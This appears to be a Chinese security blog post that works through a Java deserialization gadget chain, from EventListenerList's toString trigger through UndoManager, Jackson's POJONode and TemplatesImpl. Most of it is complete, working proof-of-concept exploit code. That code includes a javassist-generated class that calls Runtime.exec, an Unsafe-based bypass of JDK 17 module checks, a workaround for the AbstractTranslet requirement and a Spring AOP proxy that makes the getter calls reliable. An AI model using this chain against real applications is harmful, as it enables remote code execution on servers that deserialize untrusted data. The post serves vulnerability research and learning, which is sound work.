前言 需要学习的知识点还挺多,自己还是太菜了。下面算是关于这个链子从零学习的一个过程。标题突然有点犯二了哈,别介意~
EventListenerList触发任意toString 参考的文章链接是:https://infernity.top/2025/03/24/EventListenerList%E8%A7%A6%E5%8F%91%E4%BB%BB%E6%84%8FtoString/ 
orz了,学习!
作者既然提到了是jdk8u66版本,我电脑这里下载好的是jdk8u65,就先用这个版本复现学习一下。
JDK8u65版本环境 如题,我们从EventListenerList类出发,先看其EventListenerList#readObject方法。
下面是具体代码,这里是循环从数据中反序列化出监听器类型listenerTypeOrNull和监听器实例EventListener,然后用add方法将反序列化出来的类型和实例添加到listenerList监听器列表里。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 private  void  readObject (ObjectInputStream s)       throws  IOException, ClassNotFoundException {       listenerList = NULL_ARRAY;       s.defaultReadObject();       Object listenerTypeOrNull;          while  (null  != (listenerTypeOrNull = s.readObject())) {           ClassLoader  cl  =  Thread.currentThread().getContextClassLoader();           EventListener  l  =  (EventListener)s.readObject();           String  name  =  (String) listenerTypeOrNull;           ReflectUtil.checkPackageAccess(name);           add((Class<EventListener>)Class.forName(name, true , cl), l);       }   } 
 
这里还看不出什么,跟进到add方法里面。如果l变量和t不是一个类型的话,就抛出异常。因为异常信息是字符串,因此l和t会去隐式调用toString方法返回字符串拼接进去。初见端倪。
1 2 3 4 5 6 7 8 9 10 public  synchronized  <T extends  EventListener > void  add (Class<T> t, T l)  {      if  (l==null ) {           return ;       }       if  (!t.isInstance(l)) {           throw  new  IllegalArgumentException ("Listener "  + l +                                        " is not of type "  + t);       }       ......   } 
 
不过呢,l变量是反序列化后还要强转为EventListener,因此要这里要找一个实现了EventListener和Serializable接口的类。这里找到的是UndoManager类,其toString方法如下:
1 2 3 4 public  String toString ()  {      return  super .toString() + " limit: "  + limit +           " indexOfNextAdd: "  + indexOfNextAdd;   } 
 
limit和indexOfNextAdd都是int类型,没有可利用的点,因此看其父类CompoundEdit的toString方法。
1 2 3 4 5 6 7 8 9 boolean  inProgress;protected  Vector<UndoableEdit> edits;public  String toString ()   {       return  super .toString()           + " inProgress: "  + inProgress           + " edits: "  + edits;   } 
 
和刚刚提到的一样,这里拼接字符串会隐式调用inProgress和edits的toString方法。inProgress是boolean类型不必太关注,可以看edits的toString。调用到父类接口AbstractCollection的toString方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public  synchronized  String toString ()  {      return  super .toString();   } public  String toString ()  {      Iterator<E> it = iterator();       if  (! it.hasNext())           return  "[]" ;          StringBuilder  sb  =  new  StringBuilder ();       sb.append('[' );       for  (;;) {           E  e  =  it.next();           sb.append(e == this  ? "(this Collection)"  : e);           if  (! it.hasNext())               return  sb.append(']' ).toString();           sb.append(',' ).append(' ' );       }   } 
 
从容器中取出元素e,然后调用StringBuilder.append方法,e作为参数,我们跟进去看看。
1 2 3 public  StringBuilder append (Object obj)  {      return  append(String.valueOf(obj));   } 
 
继续看String.valueOf
1 2 3 public  static  String valueOf (Object obj)  {      return  (obj == null ) ? "null"  : obj.toString();   } 
 
看到这里就是调用到obj的toString的方法。obj自然就是刚刚从容器中取出的的e,而我们可以通过Vector提供的add方法往容器里面塞一个带有恶意toString的类即可。比如下面的恶意类:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import  java.io.IOException;  import  java.io.Serializable;     public  class  Calc  implements  Serializable  {         public  Calc ()  {       }          public  String toString ()  {           try  {               System.out.println("toString方法被调用" );               Runtime.getRuntime().exec("open -a Calculator" );           } catch  (IOException e) {               throw  new  RuntimeException (e);           }           return  "" ;       }   } 
 
分析结束,开始编写POC吧。
POC 先不急着写完整POC,先正向思路验证一下刚刚的逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import  javax.swing.undo.CompoundEdit;  import  javax.swing.undo.UndoManager;  import  java.lang.reflect.Field;  import  java.util.Vector;     public  class  EXP  {      public  static  void  main (String[] args)  throws  NoSuchFieldException, IllegalAccessException {           Calc  calc  =  new  Calc ();           UndoManager  undoManager  =  new  UndoManager ();              Vector  vector  =  new  Vector ();           vector.add(calc);              Field  editsField  =  CompoundEdit.class.getDeclaredField("edits" );           editsField.setAccessible(true );           editsField.set(undoManager,vector);              undoManager.toString();       }   } 
 
没问题
在上面基础上编写完整POC,EventListenerList的反序列化方法之前看了,现在我们看看序列化代码帮助理解如何构造。可以看到实际时有一个Object数组,然后用一个循环。这个循环会这样序列化,首先从数组拿出一个Class,获取其Name然后序列化,然后拿下一个元素为EventListener序列化,类似先序列化一个key键名,然后序列化一个valve值。以此循环下去。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public  class  EventListenerList  implements  Serializable  {    private  final  static  Object[] NULL_ARRAY = new  Object [0 ];     protected  transient  Object[] listenerList = NULL_ARRAY;     private  void  writeObject (ObjectOutputStream s)  throws  IOException {         Object[] lList = listenerList;         s.defaultWriteObject();                  for  (int  i  =  0 ; i < lList.length; i+=2 ) {             Class<?> t = (Class)lList[i];             EventListener  l  =  (EventListener)lList[i+1 ];             if  ((l!=null ) && (l instanceof  Serializable)) {                 s.writeObject(t.getName());                 s.writeObject(l);             }         }         s.writeObject(null );     } } 
 
这样看来构造序列化数据就不难了。把listenerList值设置为自己建立的Object数组,塞一个Class进去,然后把构造的UndoManager塞进去就行。如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import  javax.swing.event.EventListenerList;  import  javax.swing.undo.CompoundEdit;  import  javax.swing.undo.UndoManager;  import  java.io.*;  import  java.lang.reflect.Field;  import  java.util.Base64;  import  java.util.Vector;     public  class  EXP  {      public  static  void  main (String[] args)  throws  NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {           Calc  calc  =  new  Calc ();           UndoManager  undoManager  =  new  UndoManager ();              Vector  vector  =  new  Vector ();           vector.add(calc);                       Field  editsField  =  CompoundEdit.class.getDeclaredField("edits" );           editsField.setAccessible(true );           editsField.set(undoManager, vector);              Object[] objects = new  Object []{Base64.class, undoManager};                       EventListenerList  eventListenerList  =  new  EventListenerList ();           Field  listenerListField  =  eventListenerList.getClass().getDeclaredField("listenerList" );           listenerListField.setAccessible(true );           listenerListField.set(eventListenerList, objects);              String  data  =  serialize(eventListenerList);           unserialize(data);       }          public  static  String serialize (Object obj)  throws  IOException {           ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();           ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (byteArrayOutputStream);           objectOutputStream.writeObject(obj);           byte [] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());           return  new  String (bytecode);       }          public  static  Object unserialize (String base64)  throws  IOException, ClassNotFoundException {           byte [] decode = Base64.getDecoder().decode(base64);           ByteArrayInputStream  byteArrayInputStream  =  new  ByteArrayInputStream (decode);           ObjectInputStream  objectInputStream  =  new  ObjectInputStream (byteArrayInputStream);           Object  o  =  objectInputStream.readObject();           return  o;       }   } 
 
POJONode#toString反序列化调用getter方法 这个应该大家都知道,但是本人没有怎么接触过jackson而且没打过ctf,所以对我来说是一个新知识点。学习一下
环境 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <dependency >       <groupId > com.fasterxml.jackson.core</groupId >        <artifactId > jackson-databind</artifactId >        <version > 2.13.3</version >    </dependency >   <dependency >       <groupId > com.fasterxml.jackson.core</groupId >        <artifactId > jackson-core</artifactId >        <version > 2.13.3</version >    </dependency >   <dependency >       <groupId > com.fasterxml.jackson.core</groupId >        <artifactId > jackson-annotations</artifactId >        <version > 2.13.3</version >    </dependency > 
 
POJONode#toString 从左边结构看到PoJoNode类没有toString方法,因此调用他的toString实际是在调用父类的toString。
跟进到ValueNode类也没有,继续看ValveNode的父类BaseJsonNode。现在可以看到了
调用了InternalNodeMapper#nodeToString方法。直接调用了writeValueAsString方法用JackSon的序列化逻辑了。
后续大致一个逻辑如下,因为网上很多资料,而且打过CTF的大哥应该很熟悉了,就不过多赘述。
1 BaseJsonNode#toString-> InternalNodeMapper#nodeToString-> ObjectWriter#writeValueAsString-> ObjectWriter#_writeValueAndClose-> DefaultSerializerProvider#serializeValue-> DefaultSerializerProvider#_serialize-> BeanSerializer#serialize-> BeanSerializerBase#serializeFields-> BeanPropertyWriter#serializeAsField-> TemplatesImpl#getOutputProperties 
 
POC 需要注意的是ObjectOutputStream#writeObject0里面,如果反序列化的类有writeReplace方法,会去尝试替换对象导致异常终止程序,可以用javassist修改字节码删掉这个方法或者改掉名字。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import  com.fasterxml.jackson.databind.node.POJONode;  import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  import  javassist.*;     import  javax.management.BadAttributeValueExpException;  import  java.io.*;  import  java.lang.reflect.Field;     public  class  POC  {      public  static  void  main (String[] args) throws  Exception  {           ClassPool  pool  =  ClassPool.getDefault();           ClassPool.getDefault().insertClassPath(new  LoaderClassPath (POC.class.getClassLoader()));           CtClass  ctClass  =  ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" );                    CtMethod  originalMethod  =  ctClass.getDeclaredMethod("writeReplace" );                    originalMethod.setName("writeReplace_1111" );                    ctClass.toClass();           CtClass  clazz  =  pool.makeClass("cmisl" );           CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());           clazz.setSuperclass(superClass);           CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);           constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" );           clazz.addConstructor(constructor);           byte [][] bytes = new  byte [][]{clazz.toBytecode()};           TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();           setValue(templates, "_bytecodes" , bytes);           setValue(templates, "_name" , "a" );           setValue(templates, "_tfactory" , new  TransformerFactoryImpl ());              POJONode  node  =  new  POJONode (templates);           BadAttributeValueExpException val;           val = new  BadAttributeValueExpException (null );           Field  valfield  =  val.getClass().getDeclaredField("val" );           valfield.setAccessible(true );           valfield.set(val, node);           ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();           ObjectOutputStream  oos  =  new  ObjectOutputStream (byteArrayOutputStream);           oos.writeObject(val);           ObjectInputStream  ois  =  new  ObjectInputStream (new  ByteArrayInputStream (byteArrayOutputStream.toByteArray()));           Object  o  =  (Object)ois.readObject();       }          public  static  void  setValue (Object obj, String fieldName, Object value)  throws  Exception {           Field  field  =  obj.getClass().getDeclaredField(fieldName);           field.setAccessible(true );           field.set(obj, value);       }   } 
 
EventListenerList调用连 结合上面内容,用EventListenerList去调用POJONode的toString方法,然后通过POJONode的toString方法调用TemplatesImpl#getOutputProperties方法。POC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 import  com.fasterxml.jackson.databind.node.POJONode;  import  com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;  import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import  com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;  import  javassist.*;     import  javax.swing.event.EventListenerList;  import  javax.swing.undo.CompoundEdit;  import  javax.swing.undo.UndoManager;  import  java.io.*;  import  java.lang.reflect.Field;  import  java.util.Base64;  import  java.util.Vector;     public  class  EventListenerList_POC  {      public  static  void  main (String[] args)  throws  Exception {              ClassPool  pool  =  ClassPool.getDefault();           ClassPool.getDefault().insertClassPath(new  LoaderClassPath (Thread.currentThread().getContextClassLoader()));           CtClass  ctClass  =  ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" );                    CtMethod  originalMethod  =  ctClass.getDeclaredMethod("writeReplace" );                    originalMethod.setName("writeReplace_1111" );                    ctClass.toClass();           CtClass  clazz  =  pool.makeClass("cmisl" );           CtClass  superClass  =  pool.get(AbstractTranslet.class.getName());           clazz.setSuperclass(superClass);           CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);           constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" );           clazz.addConstructor(constructor);           byte [][] bytes = new  byte [][]{clazz.toBytecode()};           TemplatesImpl  templates  =  TemplatesImpl.class.newInstance();           setValue(templates, "_bytecodes" , bytes);           setValue(templates, "_name" , "a" );           setValue(templates, "_tfactory" , new  TransformerFactoryImpl ());              POJONode  evilPojoNode  =  new  POJONode (templates);              UndoManager  undoManager  =  new  UndoManager ();              Vector  vector  =  new  Vector ();           vector.add(evilPojoNode);                       Field  editsField  =  CompoundEdit.class.getDeclaredField("edits" );           editsField.setAccessible(true );           editsField.set(undoManager, vector);                      Object[] objects = new  Object []{Base64.class, undoManager};                       EventListenerList  evileventListenerList  =  new  EventListenerList ();              setValue(evileventListenerList, "listenerList" , objects);              String  data  =  serialize(evileventListenerList);           unserialize(data);       }             public  static  void  setValue (Object obj, String fieldName, Object value)  throws  Exception {           Field  field  =  obj.getClass().getDeclaredField(fieldName);           field.setAccessible(true );           field.set(obj, value);       }          public  static  String serialize (Object obj)  throws  IOException {           ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();           ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (byteArrayOutputStream);           objectOutputStream.writeObject(obj);           byte [] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());           return  new  String (bytecode);       }          public  static  Object unserialize (String base64)  throws  IOException, ClassNotFoundException {           byte [] decode = Base64.getDecoder().decode(base64);           ByteArrayInputStream  byteArrayInputStream  =  new  ByteArrayInputStream (decode);           ObjectInputStream  objectInputStream  =  new  ObjectInputStream (byteArrayInputStream);           Object  o  =  objectInputStream.readObject();           return  o;       }   } 
 
高版本JDK环境下构造 从上面的内容就已经有一个清晰的Spring环境原生的反序列化链了。并且EventListenerList也可以在高版本JDK替代了BadAttributeValueExpException类去调用toString方法。但是除此之外我们还需要解决高版本JDK环境中的反射调用,和恶意类继承AbstractTranslet的问题。
其实对于高版本JDK的反射调用,我写过一篇文章其中有相关说明:https://cmisl.github.io/2024/10/28/%E9%AB%98%E7%89%88%E6%9C%ACJDK%E5%8A%A0%E8%BD%BD%E5%AD%97%E8%8A%82%E7%A0%81%E5%88%86%E6%9E%90/ 
高版本JDK无法反射调用主要是有如下方法进行检查:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 private  boolean  checkCanSetAccessible (Class<?> caller,                                       Class<?> declaringClass,                                       boolean  throwExceptionIfDenied)  {    if  (caller == MethodHandle.class) {         throw  new  IllegalCallerException ();        }     Module  callerModule  =  caller.getModule();     Module  declaringModule  =  declaringClass.getModule();     if  (callerModule == declaringModule) return  true ;     if  (callerModule == Object.class.getModule()) return  true ;     if  (!declaringModule.isNamed()) return  true ;     String  pn  =  declaringClass.getPackageName();     int  modifiers;     if  (this  instanceof  Executable) {         modifiers = ((Executable) this ).getModifiers();     } else  {         modifiers = ((Field) this ).getModifiers();     }          boolean  isClassPublic  =  Modifier.isPublic(declaringClass.getModifiers());     if  (isClassPublic && declaringModule.isExported(pn, callerModule)) {                  if  (Modifier.isPublic(modifiers)) {             return  true ;         }                  if  (Modifier.isProtected(modifiers)             && Modifier.isStatic(modifiers)             && isSubclassOf(caller, declaringClass)) {             return  true ;         }     }          if  (declaringModule.isOpen(pn, callerModule)) {         return  true ;     }     if  (throwExceptionIfDenied) {                  String  msg  =  "Unable to make " ;         if  (this  instanceof  Field)             msg += "field " ;         msg += this  + " accessible: "  + declaringModule + " does not \"" ;         if  (isClassPublic && Modifier.isPublic(modifiers))             msg += "exports" ;         else              msg += "opens" ;         msg += " "  + pn + "\" to "  + callerModule;         InaccessibleObjectException  e  =  new  InaccessibleObjectException (msg);         if  (printStackTraceWhenAccessFails()) {             e.printStackTrace(System.err);         }         throw  e;     }     return  false ; } 
 
checkCanSetAccessible 方法有多个条件可以返回 true,表示调用者可以访问指定的类或成员。以下是所有能返回 true 的情况的总结:
同一模块 :如果 callerModule 和 declaringModule 是同一个模块(callerModule == declaringModule),返回 true。 
未命名模块 :如果 callerModule 是 Object 类所在的模块(未命名模块),返回 true(callerModule == Object.class.getModule())。 
未命名模块的声明者 :如果 declaringModule 不是命名模块(!declaringModule.isNamed()),返回 true。 
公共类和导出的包 :如果 declaringClass 是公共类(isClassPublic 为 true)并且其声明者模块导出了包(declaringModule.isExported(pn, callerModule)):若成员是公共的(Modifier.isPublic(modifiers)),返回 true。或者若成员是受保护的静态成员(Modifier.isProtected(modifiers) && Modifier.isStatic(modifiers))且调用者是声明者类的子类(isSubclassOf(caller, declaringClass)),返回 true。 
开放的包 :如果 declaringModule 对包(pn)是开放的(declaringModule.isOpen(pn, callerModule)),返回 true。 
 
我们可以关注第一种情况,也就是callerModule 和 declaringModule 是同一个模块这种情况。因为他的比较是获取调用类的Class对象的Moudle属性去和声明类的Class对象的module属性去做一个比较,即我们正在运行的当前类和ClassLoader类的Class对象的module属性做比较,如果我们可以修改当前类的Class对象的module属性,将其设置和ClassLoader类的Class对象的module属性一样,那就可以返回true,即运行当前类反射调用ClassLoader类的defineclass方法。
可以通过Unsafe类的相关方法来修改类的module属性来绕过检查,具体的内容还是推荐看刚刚提到我写过的一篇JDK高版本绕过的文章。
绕过代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 BypassMoudle(TemplatesImpl.class);   BypassMoudle(POJONode.class);   BypassMoudle(EventListenerList.class);   BypassMoudle(SpringPOC.class);   BypassMoudle(Field.class);   BypassMoudle(Method.class); public  static  void  BypassMoudle (Object obj)  throws  Exception {      Class  unsafeClass  =  Class.forName("sun.misc.Unsafe" );       Field  field  =  unsafeClass.getDeclaredField("theUnsafe" );       field.setAccessible(true );       Unsafe  unsafe  =  (Unsafe) field.get(null );          Module  baseModule  =  obj.getClass().getModule();       Class  currentClass  =  SpringPOC.class;       long  offset  =  unsafe.objectFieldOffset(Class.class.getDeclaredField("module" ));            unsafe.putObject(currentClass, offset, baseModule);   } 
 
解决继承AbstractTranslet影响 我们在构造TemplatesImpl时,里面要加载的字节码是需要继承AbstractTranslet类的,但如果我们去继承的话,由于jdk17的包隔离,会出现很多问题,上面的绕过方法就不太行了。
而TemplatesImpl链确实存在去除 AbstractTranslet 限制的trick:https://whoopsunix.com/docs/PPPYSO/advance/TemplatesImpl/#0x02-%E5%8E%BB%E9%99%A4-abstracttranslet-%E9%99%90%E5%88%B6 
之前是继承了的话,就会把_transletIndex赋值为i,必然大于等于0,原本默认值是-1,后续会判断这个值是否小于0,小于0就异常,我们不继承的话就不会走到赋值这一步。但是可以通过反射修改_transletIndex值,还需要注意的是由于会走到另外一个分支语句,也就是_auxClasses.put,因此_auxClasses不能为其默认值null。
不过前面就有new一个hashmap的代码,只需要classCount大于1,就是说bytecodes这个字节数组要有两个及以上的元素,这个只需要多加一个任意类的字节码作为第二个元素就行。
因此改为如下代码即可:
1 2 3 4 5 6 7 8 Reflections.setFieldValue(templates, "_bytecodes" , new  byte [][]{ classBytes, ClassFiles.classAsBytes(XXX.class) }); Reflections.setFieldValue(templates, "_name" , "cmisl" ); Reflections.setFieldValue(templates, "_transletIndex" , 0 ); Reflections.setFieldValue(templates, "_tfactory" , transFactory.newInstance()); 
 
getter方法调用顺序的随机性 jackson在反序列化时,调用getter方法时通过getDeclaredMethods,而用这个函数获取的方法顺序随机,所以可能导致还没调用到预期getter方法就报错终止代码。
使用 Spring Aop 代理封装,可以使 Jackson 只获取到我们需要的 getter。Templates接口的getter方法只有一个getOutputProperties,所以getDeclaredMethods获取的时候也不会出现顺序问题了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 AdvisedSupport  advisedSupport  =  new  AdvisedSupport ();advisedSupport.setTarget(templates); Constructor  constructor  =  Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" )    .getConstructor(AdvisedSupport.class); constructor.setAccessible(true ); InvocationHandler  handler  =  (InvocationHandler) constructor.newInstance(advisedSupport);Object  proxy  =  Proxy.newProxyInstance(    ClassLoader.getSystemClassLoader(),       new  Class []{Templates.class},             handler                               ); 
 
最后的POC 没有优化的POC,也是根据文章一步步学习和理解思路然后修改出来的第一版POC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 import  com.fasterxml.jackson.databind.node.POJONode;  import  com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;  import  javassist.*;  import  org.springframework.aop.framework.AdvisedSupport;  import  sun.misc.Unsafe;     import  javax.swing.event.EventListenerList;  import  javax.swing.undo.UndoManager;  import  javax.xml.transform.Templates;  import  java.io.*;  import  java.lang.reflect.*;  import  java.util.Base64;  import  java.util.Vector;     public  class  SpringPOC  {      public  static  void  main (String[] args)  throws  Exception {           ClassPool  pool  =  ClassPool.getDefault();           ClassPool.getDefault().insertClassPath(new  LoaderClassPath (Thread.currentThread().getContextClassLoader()));           CtClass  ctClass  =  ClassPool.getDefault().getCtClass("com.fasterxml.jackson.databind.node.BaseJsonNode" );           CtMethod  originalMethod  =  ctClass.getDeclaredMethod("writeReplace" );           originalMethod.setName("writeReplace_1111" );           ctClass.toClass();              BypassMoudle(TemplatesImpl.class);           BypassMoudle(POJONode.class);           BypassMoudle(EventListenerList.class);           BypassMoudle(SpringPOC.class);           BypassMoudle(Field.class);           BypassMoudle(Method.class);              CtClass  clazz  =  pool.makeClass("cmisl" );                 CtConstructor  constructor  =  new  CtConstructor (new  CtClass []{}, clazz);           constructor.setBody("java.lang.Runtime.getRuntime().exec(\"open -a Calculator\");" );           clazz.addConstructor(constructor);              byte [][] bytes = new  byte [][]{clazz.toBytecode(), ClassPool.getDefault().makeClass("cmisl11" ).toBytecode()};           TemplatesImpl  templates  =  new  TemplatesImpl ();           setValue(templates, "_bytecodes" , bytes);           setValue(templates, "_name" , "a" );           setValue(templates, "_transletIndex" , 0 );              AdvisedSupport  advisedSupport  =  new  AdvisedSupport ();                 advisedSupport.setTarget(templates);              Constructor  constructor1  =  Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy" )                   .getConstructor(AdvisedSupport.class);              constructor1.setAccessible(true );              InvocationHandler  handler  =  (InvocationHandler) constructor1.newInstance(advisedSupport);              Object  proxy  =  Proxy.newProxyInstance(                   ClassLoader.getSystemClassLoader(),                   new  Class []{Templates.class},                   handler           );              POJONode  evilPojoNode  =  new  POJONode (proxy);              UndoManager  undoManager  =  new  UndoManager ();              Vector  vector  =  new  Vector ();           vector.add(evilPojoNode);                       BypassMoudle(undoManager.getClass());           BypassMoudle(undoManager.getClass().getSuperclass());           Field  editsField  =  undoManager.getClass().getSuperclass().getDeclaredField("edits" );           editsField.setAccessible(true );           editsField.set(undoManager, vector);                 Object[] objects = new  Object []{Base64.class, undoManager};                       EventListenerList  evileventListenerList  =  new  EventListenerList ();              setValue(evileventListenerList, "listenerList" , objects);              String  data  =  serialize(evileventListenerList);           System.out.println(data);           unserialize(data);       }          public  static  Object getFieldValue (Object obj, String fieldName)  throws  Exception {           Field  field  =  null ;           Class  c  =  obj.getClass();           for  (int  i  =  0 ; i < 5 ; i++) {               try  {                   field = c.getDeclaredField(fieldName);               } catch  (NoSuchFieldException e) {                   c = c.getSuperclass();               }           }           field.setAccessible(true );           return  field.get(obj);       }          public  static  void  setValue (Object obj, String fieldName, Object value)  throws  Exception {           Field  field  =  obj.getClass().getDeclaredField(fieldName);           field.setAccessible(true );           field.set(obj, value);       }          public  static  String serialize (Object obj)  throws  IOException {           ByteArrayOutputStream  byteArrayOutputStream  =  new  ByteArrayOutputStream ();           ObjectOutputStream  objectOutputStream  =  new  ObjectOutputStream (byteArrayOutputStream);           objectOutputStream.writeObject(obj);           byte [] bytecode = Base64.getEncoder().encode(byteArrayOutputStream.toByteArray());           return  new  String (bytecode);       }          public  static  Object unserialize (String base64)  throws  IOException, ClassNotFoundException {           byte [] decode = Base64.getDecoder().decode(base64);           ByteArrayInputStream  byteArrayInputStream  =  new  ByteArrayInputStream (decode);           ObjectInputStream  objectInputStream  =  new  ObjectInputStream (byteArrayInputStream);           Object  o  =  objectInputStream.readObject();           return  o;       }          public  static  void  BypassMoudle (Object obj)  throws  Exception {           Class  unsafeClass  =  Class.forName("sun.misc.Unsafe" );           Field  field  =  unsafeClass.getDeclaredField("theUnsafe" );           field.setAccessible(true );           Unsafe  unsafe  =  (Unsafe) field.get(null );              Module  baseModule  =  obj.getClass().getModule();           Class  currentClass  =  SpringPOC.class;           long  offset  =  unsafe.objectFieldOffset(Class.class.getDeclaredField("module" ));                    unsafe.putObject(currentClass, offset, baseModule);       }   }